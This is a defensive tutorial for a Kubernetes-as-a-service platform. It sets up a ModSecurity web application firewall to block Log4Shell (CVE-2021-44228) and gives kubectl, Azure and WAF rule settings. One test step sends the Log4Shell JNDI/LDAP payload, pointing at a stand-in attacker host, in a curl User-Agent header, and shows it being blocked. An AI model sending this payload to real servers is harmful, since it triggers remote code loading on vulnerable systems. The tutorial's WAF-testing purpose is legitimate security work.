k8saas hello world protected against CVE-2021-44228
Context
From 10th of December, a critical vulnerability has been discovered on the Apache Log4j library. Some of your application may use this library on the k8saas service. The purpose of this tutorial is to set up the WAF with the configuration that blocks the exploitation of the CVE-2021-44228.
Note: As mentioned in most of the online recommendation, we recommend upgrading the log4j library. This tutorial is a quick fix, temporary to avoid any exploitation in short term.
Source:
- in french: ANSSI / Vulnérabilité dans Apache Log4j
- in english: Microsoft / Microsoft’s Response to CVE-2021-44228 Apache Log4j 2
Prerequisites
To run this tutorial, we should first have:
- a k8saas cluster deployed
Then get the following files:
Tutorial
First, get your credentials :
The cluster and the resource group has already the same name with k8saas.
az aks get-credentials --name k8saas-<CLUSTER_INSTANCE_NAME> --resource-group k8saas-<CLUSTER_INSTANCE_NAME>
kubelogin convert-kubeconfig -l azurecli
Update DNS zone
You will need to update the file pomerium-ingress.yaml
with the right DNS zone
and at the same time we will change the host to be sure it's unique and not interfering with another project.
Look and replace:
spec:
ingressClassName: pomerium
rules:
- host: <VALUE_TO_CHANGE>.demo-cve.<DNS_ZONE>
...
tls:
- hosts:
- <VALUE_TO_CHANGE>.demo-cve.<DNS_ZONE>
With the DNS zone
information that was in the onboarding email sent to you. If you do not have this information you can always run this:
kubectl get ingress -n monitoring
It should return something like this:
NAME CLASS HOSTS ADDRESS PORTS AGE
prometheus-operator-grafana nginx grafana.k8saas-rbo-sandbox.eu.k8saas.thalesdigital.io 20.50.218.145 80, 443 389d
Now with the information from the previous command, update pomerium-ingress.yaml
with the right information. Here we've replaced hello-world-ingress
with rbo-sandbox-hw
to be unique like suggested earlier.
spec:
ingressClassName: pomerium
rules:
- host: rbo-sandbox-hw.demo-pomerium.eu.k8saas.thalesdigital.io
...
tls:
- hosts:
- rbo-sandbox-hw.demo-pomerium.eu.k8saas.thalesdigital.io
Deploy 1 application and 1 ingress:
# this start a hello world pod
kubectl apply -f aks-helloworld-one.yaml --namespace customer-namespaces
############# Please customize the domain name in the hello-world-ingress.yaml ###########
# this start 2 ingress that bind your previous application to a DNS domain, by default: hello-world-ingress.cve-2021-44228.kaas.thalesdigital.io
kubectl apply -f hello-world-ingress.yaml --namespace customer-namespaces
Now in a shell:
curl -k https://<VALUE_TO_CHANGE>.demo-cve.<DNS_ZONE>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" type="text/css" href="/static/default.css">
<title>Welcome to Azure Kubernetes Service (AKS)</title>
<script language="JavaScript">
function send(form){
}
</script>
</head>
<body>
<div id="container">
<form id="form" name="form" action="/"" method="post"><center>
<div id="logo">Welcome to Azure Kubernetes Service (AKS)</div>
<div id="space"></div>
<img src="/static/acs.png" als="acs logo">
<div id="form">
</div>
</div>
</body>
</html>%
Then, test the exploit:
curl -A "\${jndi:ldap://attacker.com/reference}" -k https://<VALUE_TO_CHANGE>.demo-cve.<DNS_ZONE>
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
TADA, the query is blocked by the WAF !
Then, check the logs.
If it's the first time you access to log analytics, follow the onboarding doc here
Run the following query:
ingress_CL
| where kubernetes_labels_app_kubernetes_io_name_s contains "ingress-nginx"
| where log_s contains "ModSecurity"
| project TimeGenerated, log_s
You should see this message:
2021/12/16 10:44:16 [error] 2116#2116: *1969075 [client 62.23.99.111] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `5' ) [file "/etc/nginx/owasp-modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "80"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [data ""] [severity "2"] [ver "OWASP_CRS/3.3.2"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "10.50.6.37"] [uri "/"] [unique_id "1639651456"] [ref ""], client: 62.23.99.111, server: hello-world-ingress.cve-2021-44228.kaas.thalesdigital.io, request: "GET / HTTP/2.0", host: "hello-world-ingress.cve-2021-44228.kaas.thalesdigital.io"
What to do to protect your application ?
First, set up your WAF on any ingresses using the k8saas WAF doc
Then, adapt the WAF configuration using:
nginx.ingress.kubernetes.io/modsecurity-snippet: |
SecRuleEngine On
SecAuditLog /customer-namespaces/stdout
Include /etc/nginx/owasp-modsecurity-crs/nginx-modsecurity.conf
SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:User-Agent"
SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:Referer"
Note: If it's the first time you set up a WAF, test it on customer-namespaces/test environment first. If the WAF was already set up, you can proceed as is directly.
Warning
Using "SecRuleEngine DetectionOnly" does not generate any log.